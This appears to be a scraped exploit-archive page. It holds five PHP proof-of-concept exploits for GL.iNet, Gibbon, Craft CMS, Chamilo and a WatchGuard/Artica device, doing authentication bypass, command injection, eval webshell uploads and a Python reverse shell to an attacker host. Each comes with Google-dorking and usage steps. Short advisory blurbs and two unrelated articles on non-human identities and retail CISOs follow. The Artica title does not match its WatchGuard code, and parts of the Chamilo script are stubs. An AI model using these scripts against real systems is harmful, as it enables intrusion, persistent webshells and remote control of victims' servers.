GL.iNet version 4.4.3 suffers from authentication bypass and code injection vulnerabilities.

    =============================================================================================================================================| # Title     : GL.iNet network 4.4.3 Code Injection Vulnerability                                                                          || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.2 (64 bits)                                                            || # Vendor    : https://www.gl-inet.com/                                                                                                    |=============================================================================================================================================POC :[+] Dorking İn Google Or Other Search Enggine.[+] uses the CURL to Allow remote command .[+] Line 158 set your target .[+] save code as poc.php .[+] USage : cmd => c:\www\test\php poc.php [+] PayLoad :<?phpclass GlinetExploit{    private $targetUri;    private $sid;    private $glinet;    public function __construct($targetUri)    {        $this->targetUri = $targetUri;        $this->glinet = [            'model' => null,            'firmware' => null,            'arch' => null        ];    }    private function send_request($method, $uri, $data = null, $headers = [])    {        $ch = curl_init();        $options = [            CURLOPT_URL => $this->targetUri . $uri,            CURLOPT_RETURNTRANSFER => true,            CURLOPT_CUSTOMREQUEST => $method        ];        if ($data) {            $options[CURLOPT_POSTFIELDS] = $data;            $headers[] = 'Content-Type: application/json';        }        curl_setopt_array($ch, $options);        $response = curl_exec($ch);        curl_close($ch);        return $response ? json_decode($response, true) : null;    }    public function check_vuln_version()    {        $postData = json_encode([            'jsonrpc' => '2.0',            'id' => rand(1000, 9999),            'method' => 'call',            'params' => ['', 'ui', 'check_initialized', []]        ]);        $res = $this->send_request('POST', '/rpc', $postData);        if ($res && isset($res['result'])) {            $this->glinet['model'] = $res['result']['model'];            $this->glinet['firmware'] = $res['result']['firmware_version'];        }        // Check for vulnerable models and firmware        switch ($this->glinet['model']) {            case 'sft1200':                $this->glinet['arch'] = 'mipsle';                return version_compare($this->glinet['firmware'], '4.3.6', '==');            case 'ar750':            case 'ar750s':                $this->glinet['arch'] = 'mipsbe';                return version_compare($this->glinet['firmware'], '4.3.7', '==');            // Add more cases as per your requirement        }        return false;    }    public function auth_bypass()    {        if (!empty($this->sid)) {            return $this->sid;        }        $postData = json_encode([            'jsonrpc' => '2.0',            'id' => rand(1000, 9999),            'method' => 'challenge',            'params' => ['username' => 'root']        ]);        $res = $this->send_request('POST', '/rpc', $postData);        if ($res && isset($res['result']['nonce'])) {            $nonce = $res['result']['nonce'];            $username = "roo[^'union selecT char(114,111,111,116)--]:[^:]+:[^:]+";            $pw = '0';            $hash = md5("$username:$pw:$nonce");            $postData = json_encode([                'jsonrpc' => '2.0',                'id' => rand(1000, 9999),                'method' => 'login',                'params' => [                    'username' => $username,                    'hash' => $hash                ]            ]);            $res = $this->send_request('POST', '/rpc', $postData);            if ($res && isset($res['result']['sid'])) {                $this->sid = $res['result']['sid'];                return $this->sid;            }        }        return null;    }    public function execute_command($cmd)    {        $payload = base64_encode($cmd);        $cmd = "echo {$payload}|openssl enc -base64 -d -A|sh";        $postData = json_encode([            'jsonrpc' => '2.0',            'id' => rand(1000, 9999),            'method' => 'call',            'params' => [                $this->sid,                'logread',                'get_system_log',                ['lines' => '', 'module' => "|{$cmd}"]            ]        ]);        return $this->send_request('POST', '/rpc', $postData, ['Admin-Token: ' . $this->sid]);    }    public function check()    {        if ($this->check_vuln_version()) {            return "Vulnerable: {$this->glinet['model']} | {$this->glinet['firmware']} | {$this->glinet['arch']}";        }        return 'Not Vulnerable';    }    public function exploit($command)    {        $this->sid = $this->auth_bypass();        if ($this->sid) {            echo "SID: {$this->sid}\n";            echo "Executing: {$command}\n";            $this->execute_command($command);        } else {            echo "Authentication bypass failed.\n";        }    }}// Usage$exploit = new GlinetExploit('https://target-url');$exploit->exploit('ls');Greetings to :=====================================================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|===================================================================================================

GL.iNet 4.4.3 Code Injection

Gibbon School Platform version 26.0.00 suffers from a PHP code injection vulnerability.

    =============================================================================================================================================| # Title     : Gibbon School Platform 26.0.00 Code Injection Vulnerability                                                                 || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.2 (64 bits)                                                            || # Vendor    : https://gibbonedu.org/                                                                                                      |=============================================================================================================================================POC :[+] Dorking İn Google Or Other Search Enggine.[+] uses the CURL to Allow remote command .[+] Line 108 set your target .[+] save code as poc.php .[+] USage : cmd => c:\www\test\php poc.php [+] PayLoad :<?phpclass GibbonExploit{    private $target_uri;    private $username;    private $password;    private $webshell_name;    public function __construct($target_uri, $username, $password, $webshell_name = null)    {        $this->target_uri = $target_uri;        $this->username = $username;        $this->password = $password;        $this->webshell_name = $webshell_name ?: $this->randomString() . '.php';    }    private function send_request($method, $url, $data = null, $headers = [])    {        $ch = curl_init();        curl_setopt($ch, CURLOPT_URL, $url);        curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method);        if ($data) {            curl_setopt($ch, CURLOPT_POSTFIELDS, $data);        }        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);        if (!empty($headers)) {            curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);        }        $response = curl_exec($ch);        curl_close($ch);        return $response;    }    public function gibbon_login()    {        $login_url = $this->target_uri . '/login.php?timeout=true';        $data = [            'address' => '',            'method' => 'default',            'username' => $this->username,            'password' => $this->password,            'gibbonSchoolYearID' => '025',            'gibboni18nID' => '0002'        ];        return $this->send_request('POST', $login_url, http_build_query($data));    }    private function construct_form_data($payload)    {        $payload_len = strlen($payload);        $payload_data = 'a:2:{i:7;O:32:"Monolog\\Handler\\SyslogUdpHandler":1:{s:9:"\x00*\x00socket";O:29:"Monolog\\Handler\\BufferHandler":7:{s:10:"\x00*\x00handler";r:3;s:13:"\x00*\x00bufferSize";i:-1;s:9:"\x00*\x00buffer";a:1:{i:0;a:2:{i:0;s:' . $payload_len . ':"' . $payload . '";s:5:"level";N;}}s:8:"\x00*\x00level";N;s:14:"\x00*\x00initialized";b:1;s:14:"\x00*\x00bufferLimit";i:-1;s:13:"\x00*\x00processors";a:2:{i:0;s:7:"current";i:1;s:6:"system";}}}i:7;i:7;}';        $form_data = [            'address' => '/modules/System Admin/import_run.php',            'mode' => 'sync',            'syncField' => 'N',            'syncColumn' => '',            'columnOrder' => $payload_data,            'columnText' => 'N;',            'fieldDelimiter' => '%2C',            'stringEnclosure' => '%22',            'filename' => $this->randomString() . '.xlsx',            'csvData' => '"External Assessment","Assessment Data","Student","Field Name","Category","Field Name","Result"',            'ignoreErrors' => '1',            'Failed' => 'Submit'        ];        return $form_data;    }    public function upload_webshell($b64_payload)    {        $php_payload = "echo \"<?php @eval(base64_decode('$b64_payload'));?>\" > " . $this->webshell_name;        $form_data = $this->construct_form_data($php_payload);        $url = $this->target_uri . '/index.php?q=/modules/System%20Admin/import_run.php&type=externalAssessment&step=4';        return $this->send_request('POST', $url, http_build_query($form_data));    }    public function execute_php($cmd)    {        $b64_payload = base64_encode($cmd);        $res = $this->upload_webshell($b64_payload);        if (!$res) {            die('Web shell upload error.');        }        // execute the webshell        $url = $this->target_uri . '/' . $this->webshell_name;        return $this->send_request('GET', $url);    }    private function randomString($length = 10)    {        return substr(str_shuffle('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'), 0, $length);    }}// Usage$exploit = new GibbonExploit('https://target-site.com', 'username@example.com', 'password');$exploit->gibbon_login();$response = $exploit->execute_php('phpinfo();');echo $response;Greetings to :=====================================================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|===================================================================================================

Gibbon School Platform 26.0.00 Code Injection

Craft CMS version 4.4.14 suffers from a PHP code injection vulnerability.

    =============================================================================================================================================| # Title     : Craft CMS 4.4.14 Code Injection Vulnerability                                                                               || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.2 (64 bits)                                                            || # Vendor    : https://craftcms.com/                                                                                                       |=============================================================================================================================================POC :[+] Dorking İn Google Or Other Search Enggine.[+] uses the CURL to Allow remote command .[+] Line 116 set your target .[+] save code as poc.php .[+] USage : cmd => c:\www\test\php poc.php [+] PayLoad :<?phpclass CraftCMSExploit {    private $target_uri;    private $webshell;    private $config = ['upload_tmp_dir' => null, 'document_root' => null];    private $post_param;    private $get_param;    public function __construct($target_uri, $webshell = '') {        $this->target_uri = $target_uri;        $this->webshell = $webshell ? $webshell : $this->generateRandomString(8, 16) . '.php';        $this->post_param = $this->generateRandomString(1, 8);        $this->get_param = $this->generateRandomString(1, 8);    }    public function check_phpinfo() {        // Sends a crafted request to extract upload_tmp_dir and document_root from phpinfo()        $data = http_build_query([            'action' => 'conditions/render',            'configObject[class]' => 'craft\\elements\\conditions\\ElementCondition',            'config' => '{"name":"configObject","as ":{"class":"\\\GuzzleHttp\\\Psr7\\\FnStream", "__construct()":{"methods":{"close":"phpinfo"}}}}'        ]);        $response = $this->sendPostRequest($this->target_uri, $data);        if ($response) {            $this->parsePHPInfo($response);        }    }    private function parsePHPInfo($response) {        // Parses the phpinfo() HTML response to find upload_tmp_dir and document_root        if (preg_match('/upload_tmp_dir.+<td class="v">(.*)<\/td>/i', $response, $matches)) {            $this->config['upload_tmp_dir'] = $matches[1] == 'no value' ? '/tmp' : trim($matches[1]);        }        if (preg_match('/DOCUMENT_ROOT.+<td class="v">(.*)<\/td>/i', $response, $matches)) {            $this->config['document_root'] = trim($matches[1]);        }    }    public function upload_webshell() {        // Generates an XML payload to upload the webshell via Imagick MSL        $payload = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>        <image>            <read filename=\"caption:<?php @eval(base64_decode(\$_POST['{$this->post_param}'])); ?>\" />            <write filename=\"info:{$this->config['document_root']}/{$this->webshell}\" />        </image>";        $form_data = [            'action' => 'conditions/render',            'configObject[class]' => 'craft\\elements\\conditions\\ElementCondition',            'config' => '{"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"msl:/dev/null"}}}',            'payload' => $payload        ];        $response = $this->sendMultipartPostRequest($this->target_uri, $form_data);        return strpos($response, '502') !== false;    }    public function execute_command($cmd) {        // Executes a command on the server via the uploaded webshell        $payload = base64_encode($cmd);        $data = http_build_query([$this->post_param => $payload]);        return $this->sendPostRequest($this->target_uri . '/' . $this->webshell, $data);    }    private function sendPostRequest($uri, $data) {        $options = [            'http' => [                'header' => "Content-type: application/x-www-form-urlencoded\r\n",                'method' => 'POST',                'content' => $data,            ],        ];        $context = stream_context_create($options);        return file_get_contents($uri, false, $context);    }    private function sendMultipartPostRequest($uri, $data) {        // Sends a multipart form-data POST request        $boundary = uniqid();        $delimiter = '------' . $boundary;        $post_data = $this->buildMultipartData($data, $delimiter);        $options = [            'http' => [                'header' => "Content-Type: multipart/form-data; boundary=" . $boundary . "\r\n",                'method' => 'POST',                'content' => $post_data,            ],        ];        $context = stream_context_create($options);        return file_get_contents($uri, false, $context);    }    private function buildMultipartData($data, $delimiter) {        $post_data = '';        foreach ($data as $name => $content) {            $post_data .= "--$delimiter\r\n";            $post_data .= "Content-Disposition: form-data; name=\"$name\"\r\n\r\n";            $post_data .= "$content\r\n";        }        $post_data .= "--$delimiter--\r\n";        return $post_data;    }    private function generateRandomString($min, $max) {        $length = rand($min, $max);        return substr(str_shuffle('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'), 0, $length);    }}// Usage$exploit = new CraftCMSExploit('http://target-craftcms.com');$exploit->check_phpinfo();if ($exploit->upload_webshell()) {    echo $exploit->execute_command('whoami');}?>Greetings to :=====================================================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|===================================================================================================

Craft CMS 4.4.14 Code Injection

Chamilo version 1.11.18 suffers from a PHP code injection vulnerability.

    =============================================================================================================================================| # Title     : Chamilo 1.11.18 Code Injection Vulnerability                                                                                || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.2 (64 bits)                                                            || # Vendor    : https://chamilo.org/en/2023/02/03/10-new-features-in-chamilo-1-11-18/                                                       |=============================================================================================================================================POC :[+] Dorking İn Google Or Other Search Enggine.[+] uses the CURL to Allow remote command .[+] Line 123 set your target .[+] save code as poc.php .[+] USage : cmd => c:\www\test\php poc.php [+] PayLoad :<?phpclass ChamiloExploit {    private $targetUri;    private $webshellName;    private $postParam;    public function __construct($targetUri, $webshell = null) {        $this->targetUri = rtrim($targetUri, '/');        $this->webshellName = $webshell ?: $this->generateRandomWebshellName();    }    private function generateRandomWebshellName() {        return bin2hex(random_bytes(8)) . '.php';    }    private function soapRequest($cmd) {        $pptSize = rand(720, 1440) . 'x' . rand(360, 720);        return <<<EOS<?xml version="1.0" encoding="UTF-8"?><SOAP-ENV:Envelope    xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"    xmlns:ns1="{$this->targetUri}"    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"    xmlns:xsd="http://www.w3.org/2001/XMLSchema"    xmlns:ns2="http://xml.apache.org/xml-soap"    xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"    SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">    <SOAP-ENV:Body>        <ns1:wsConvertPpt>            <param0 xsi:type="ns2:Map">                <item>                    <key xsi:type="xsd:string">file_data</key>                    <value xsi:type="xsd:string"></value>                </item>                <item>                    <key xsi:type="xsd:string">file_name</key>                    <value xsi:type="xsd:string">`{{}}`.pptx'|" |{$cmd}||a #</value>                </item>                <item>                    <key xsi:type="xsd:string">service_ppt2lp_size</key>                    <value xsi:type="xsd:string">{$pptSize}</value>                </item>            </param0>        </ns1:wsConvertPpt>    </SOAP-ENV:Body></SOAP-ENV:Envelope>EOS;    }    public function uploadWebshell() {        $this->postParam = bin2hex(random_bytes(4));        $phpPayload = "<?php @eval(base64_decode(\$_POST['{$this->postParam}']));?>";        $pngWebshell = $this->injectPhpPayloadPng($phpPayload);        if ($pngWebshell === null) {            return null;        }        $payload = base64_encode($pngWebshell);        $cmd = "echo {$payload}|openssl enc -a -d > ./{$this->webshellName}";        $response = $this->sendRequest('POST', "/main/webservices/additional_webservices.php", "text/xml; charset=utf-8", $this->soapRequest($cmd));        return $response;    }    private function injectPhpPayloadPng($phpPayload) {        // Implement your logic to inject PHP payload into a PNG image        // For demonstration purposes, we'll return a dummy PNG data        return pack('H*', '89504E470D0A1A0A...'); // Example PNG header    }    public function executePhp($cmd) {        $payload = base64_encode($cmd);        $response = $this->sendRequest('POST', "/main/inc/lib/ppt2png/{$this->webshellName}", "application/x-www-form-urlencoded", [$this->postParam => $payload]);        return $response;    }    public function executeCommand($cmd) {        $payload = base64_encode($cmd);        $cmd = "echo {$payload}|openssl enc -a -d|sh";        $response = $this->sendRequest('POST', "/main/webservices/additional_webservices.php", "text/xml; charset=utf-8", $this->soapRequest($cmd));        return $response;    }    public function check() {        $marker = bin2hex(random_bytes(4));        $res = $this->executeCommand("echo {$marker}");        if ($res && strpos($res, 'wsConvertPptResponse') !== false && strpos($res, $marker) !== false) {            return 'Vulnerable';        } else {            return 'Safe';        }    }    public function exploit($payload) {        switch ($payload['type']) {            case 'php':                $res = $this->uploadWebshell();                if (!$res || strpos($res, 'wsConvertPptResponse') === false) {                    throw new Exception('Web shell upload error.');                }                $this->executePhp($payload['encoded']);                break;            case 'unix_cmd':                $this->executeCommand($payload['encoded']);                break;            case 'linux_dropper':                // Implement Linux dropper logic                break;        }    }    private function sendRequest($method, $uri, $ctype, $data) {        // Implement your HTTP request logic here (using cURL or similar)        // For demonstration purposes, return a dummy response        return 'Dummy response';    }}// Usage$exploit = new ChamiloExploit('http://target.com', 'webshell.php');$exploit->check();Greetings to :=====================================================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|===================================================================================================

Chamilo 1.11.18 Code Injection

Artica Proxy version 4.40 suffers from a code injection vulnerability that provides a reverse shell.

    =============================================================================================================================================| # Title     : Artica Proxy appliance 4.40 Code Injection Vulnerability                                                                    || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.2 (64 bits)                                                            || # Vendor    : https://artica-proxy.com/                                                                                                   |=============================================================================================================================================POC :[+] Dorking İn Google Or Other Search Enggine.[+] uses the CURL to Allow remote command .[+] Line 97 set your target .[+] save code as poc.php .[+] USage : cmd => c:\www\test\php poc.php [+] PayLoad :<?phpclass WatchGuardExploit {    private $targetUri;    private $lhost;    private $lport;    private $shell;    public function __construct($targetUri, $lhost, $lport, $shell = "/usr/bin/python") {        $this->targetUri = $targetUri;        $this->lhost = $lhost;        $this->lport = $lport;        $this->shell = $shell;    }    public function sendRequest($method, $url, $data = null, $headers = []) {        $ch = curl_init();        curl_setopt($ch, CURLOPT_URL, $url);        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);        curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method);        if ($data) {            curl_setopt($ch, CURLOPT_POSTFIELDS, $data);        }        if (!empty($headers)) {            curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);        }        $response = curl_exec($ch);        curl_close($ch);        return $response;    }    public function checkWatchGuardFirebox() {        $url = $this->targetUri . '/auth/login';        $response = $this->sendRequest('GET', $url, null, ['from_page' => '/']);                if ($response && strpos($response, 'Powered by WatchGuard Technologies') !== false             && strpos($response, 'Firebox') !== false) {            return true;        }        return false;    }    public function createBofPayload() {        // Generate the buffer overflow payload with Python reverse shell code        $randomStr = bin2hex(random_bytes(2)); // 4-character random alphanumeric        $pyFilename = "/tmp/" . $randomStr . ".py";        $payload = "<methodCall><methodName>agent.login</methodName><params><param><value><struct><member><value><" . str_repeat('A', 3181) . "MFA>";        $payload .= str_repeat('<BBBBMFA>', 3680);        // Include a Python reverse shell command as the payload        $payload .= 'import socket;from subprocess import call; from os import dup2;';        $payload .= 's=socket.socket(socket.AF_INET,socket.SOCK_STREAM);';        $payload .= 's.connect(("' . $this->lhost . '",' . $this->lport . '));';        $payload .= 'dup2(s.fileno(),0); dup2(s.fileno(),1); dup2(s.fileno(),2);';        $payload .= 'call(["' . $this->shell . '","-i"]);';        $payload .= 'import os; os.remove("' . $pyFilename . '");';        return gzencode($payload); // gzip encoding    }    public function exploit() {        if (!$this->checkWatchGuardFirebox()) {            echo "Target is not vulnerable.\n";            return;        }        echo "Target is vulnerable. Sending exploit...\n";        $bofPayload = $this->createBofPayload();        // Send the buffer overflow payload        $url = $this->targetUri . '/agent/login';        $this->sendRequest('POST', $url, $bofPayload, [            'Accept-Encoding: gzip, deflate',            'Content-Encoding: gzip'        ]);        echo "Payload sent.\n";    }}// Example usage:$exploit = new WatchGuardExploit('https://target-ip:8080', 'attacker-ip', 4444);$exploit->exploit();Greetings to :=====================================================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|===================================================================================================

Artica Proxy 4.40 Code Injection

XNU suffers from a race condition leading to a use-after-free between the NFSSVC_NFSD command and an upcall worker thread.

XNU Insufficient Locking Use-After-Free

The ABB BMS/BAS controller suffers from an authenticated OS command injection vulnerability. This can be exploited to inject and execute arbitrary shell commands through the 'MODEM' HTTP POST parameter called by the dialupSwitch.php script.

ABB Cylon Aspect 3.08.00 (dialupSwitch.php) Remote Code Execution

The ABB BMS/BAS controller uses a weak set of default administrative credentials that can be guessed in remote password attacks and gain full control of the system.

ABB Cylon Aspect 3.07.02 (user.properties) Default Credentials

The future of cybersecurity will be shaped by how well we manage the explosion of NHIs.

Source: Brain light via Alamy Stock Photo

COMMENTARY

Imagine a vast and invisible army silently infiltrating your organization's digital defenses. No, this isn't the plot of a sci-fi thriller — it's the reality of non-human identities (NHIs) in today's cybersecurity landscape. As a seasoned security architect, I've watched this hidden force grow from a manageable contingent to a sprawling, often ungoverned multitude that's keeping chief information security officers (CISOs) awake at night. 

In my journey across startups and Fortune 500 companies, I've witnessed firsthand the mixed effects of NHIs. They keep our digital machinery running smoothly — but they are also a potential treasure trove for attackers looking to exploit our blind spots. It's time to shine a light on this invisible army and develop strategies to harness its power while mitigating its risks. 

**The Scale of the Problem**

Consider this: For every 1,000 human users in your organization, you likely have 10,000 non-human connections or credentials. Some estimates suggest the ratio could be as high as 45-to-1. These NHIs include service accounts, system accounts, API keys, tokens, and other forms of machine-based authentication that facilitate the complex web of interactions in our modern digital ecosystem. 

**Why NHIs Matter**

1.  Attack surface expansion: Each NHI represents a potential entry point for attackers. With their often-elevated privileges and lack of human oversight, compromised NHIs can be a goldmine for malicious actors. 
    
2.  Visibility challenges: Unlike human users, NHIs often operate in the background, created by developers or systems without proper governance. This lack of visibility makes them a significant blind spot for many security teams. 
    
3.  Privilege sprawl: Studies show that only 2% of permissions granted for NHIs are actually used. This massive overprovisioning of access rights creates an unnecessary risk landscape. 
    
4.  Third-party risk: NHIs often facilitate connections to external services and partners. When these third parties experience a breach, your organization's NHIs become a potential vector for lateral movement. 
    

**Real-World Implications**

The importance of securing NHIs is more than just theoretical. Recent high-profile incidents underscore their critical role in modern attacks. 

Nation-state actors have demonstrated proficiency in abusing OAuth applications to move laterally across cloud environments. At the same time, major software companies like Microsoft and Okta have fallen victim to attacks leveraging compromised machine identities. In a recent Securities and Exchange Commission (SEC) filing, even Dropbox disclosed a material incident involving a compromised service account. 

**Practical Steps for Mitigation**

1.  Discovery and inventory: You can't secure what you can't see. Implement tools and processes to continuously discover and catalog NHIs across all environments, including software-as-a-service (SaaS) applications. 
    
2.  Posture management: Go beyond simple inventory. Understand the permissions associated with each NHI, their usage patterns, and the potential risk they pose. 
    

**A Call to Action**

The explosion of NHIs represents both a challenge and an opportunity for the cybersecurity community. While the scale of the problem can seem daunting, we're ahead of the curve compared to where we were with human identity access management (IAM) decades ago. 

In my conversations with CISOs and security leaders, I've started to see a shift in mindset. There's a growing recognition that NHI security needs to be elevated to a top-tier priority, on par with traditional IAM and network security initiatives. 

As we move forward, I'm cautiously optimistic. The technology and practices to secure NHIs are evolving rapidly. We can turn the tide on this silent tsunami of risk with the right mix of visibility, automation, and a security-first culture. 

The future of cybersecurity will be shaped by how well we manage the explosion of non-human identities. As security professionals, it's our responsibility to lead the charge in this new frontier of identity security. Are you ready to meet the challenge? 

**About the Author**

Partner Solutions Architect

Vaibhav Malik has more than 14 years of experience in networking and security. He collaborates with global partners to create and deploy robust security solutions for enterprise clients. Malik is a recognized thought leader and expert in zero-trust security architecture. His previous roles at large service providers and security companies involved assisting Fortune 500 clients with network, security, and cloud transformation projects. He champions an identity and data-centric approach to security and is a popular speaker at industry events. With a master's in telecommunication from the University of Colorado Boulder and an MBA from the University of Illinois Urbana-Champaign, Malik's extensive expertise and hands-on experience make him an invaluable asset for organizations aiming to strengthen their cybersecurity posture in today's complex threat landscape.

The Invisible Army of Non-Human Identities

CISOs in consumer and retail organizations appear to accept greater risks to allow for more innovation, which could be a model for future growth.

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Chief information security officers (CISOs) have long borne the reputation of blocking innovation to keep their organization and all its data safe and sound.

However, those competing priorities appear to be shifting, especially in the retail and consumer sectors. While the majority of CISOs (59%) across all sectors see themselves as "enablers" — as opposed to just managers of cyber-risk — nearly all (97%) CISOs in the retail segment view their role as an enabler, according to a survey of more than 1,000 global CISOs conducted by cybersecurity firm Netskope. As a result, CISOs' acceptance of risk has grown, with the majority of all CISOs ready to take on more risk compared with five years ago. For the retail sector, the share of risk-embracing CISOs is even higher (74%).

The pressure on companies to innovate — and CISOs' understanding of their role in making that happen — are driving CISOs to become risk-takers, Netskope CISO James Robinson says.

"Typically, you had someone who was really, really technical, and they were working through things, but they really didn't have that business side of the brain — knowing the business metrics and data," he says. "CISOs have moved from the need to say no and maybe even taken it a step further — saying the answer is always, "Yes, just how do we get there?'"

From gift-card scams to brand hijacking for phishing attacks to devastating ransomware, retailers are a popular target for cybercriminals and fraudsters. At the same time, the retail sector has had to weather the chaos caused by the pandemic and supply-chain disruptions, which led to demand fluctuations and a loss of brand loyalty. The subsequent spike in inflation over the past two years left many consumers prioritizing price. Most retail executives (67%) expect consumers to purchase fewer products in 2024, and so retailers are increasingly focused on winning loyalty, according to consultancy Deloitte's "2024 US Retail Industry Outlook" report.

**Security in the Era of Amazon and AI**

With all those disruptive forces in the market, retailers have had to transform themselves to compete, morphing from just focused on selling products to becoming data companies. Consequently, CISOs at retail companies can no longer afford to focus solely on putting a wall around their information, says Netskope's Robinson.

Like other members of the C-suite, CISOs have to be thinking about the business more holistically, Robinson says.

"Retailers now have to ask, 'What's the next innovation? What's the next thing we have to do?'" he says. "And all of those decisions are data driven ... they're being led by this wealth of data that they're collecting, so that they can have targeted experiences for their customers."

Artificial intelligence is one obvious way to innovate. A great deal of the pressure to change over the past two years has come from the development of AI capabilities and businesses' fear of missing out on any innovations — and competitive advantages. In-store cameras paired with AI analysis can determine consumer interest in products, ecommerce platforms can better predict inventory, and stores can even use recognition of facial expressions to gauge consumer sentiment.

While most companies have slowly tested the waters of AI, many will be putting their first AI-powered applications into product in the next 12 months, Robinson says.

"This is the first year also that we're really seeing GenAI projects kick off, and in the next year, we'll start to really see kind of the value of some of these projects," he says. "So I think that's probably what's shaping it even more."

**The Business-Focused CISO**

Yet, AI and cybersecurity are two technology areas that are least likely to have positive returns on investments for retailers, according to consultancy KPMG's 2023 "US Consumer and Retail Sector Insights Report." Only 46% of survey respondents noted an increase in profitability or performance due to AI — and 45% from cybersecurity. But the consumer and retail sector fell even short of that threshold, with 38% and 37% of respondents, respectively, in those industries seeing a return on investment from AI or cybersecurity.

"For many consumer and retail organizations, getting data right is still a work in progress," KPMG stated in the report.

Understandably, there are still some risks where CISOs are unwilling to compromise. Sharing information with outside parties or third parties without the proper review and without the proper agreement in place — a threat becoming more common in the era of AI — is just not possible, says Robinson.

"We knew how to data warehouse, and it's got business value — even more now with the development of GenAI," he says. "I think all of those things have kind of started to come together at this point, allowing the retail CISO to really have a leg to stand on. Now they just also have kind of the business knowledge, because they're being brought into more of these conversations at this point."

**About the Author**

Veteran technology journalist of more than 20 years. Former research engineer. Written for more than two dozen publications, including CNET News.com, Dark Reading, MIT's Technology Review, Popular Science, and Wired News. Five awards for journalism, including Best Deadline Journalism (Online) in 2003 for coverage of the Blaster worm. Crunches numbers on various trends using Python and R. Recent reports include analyses of the shortage in cybersecurity workers and annual vulnerability trends.

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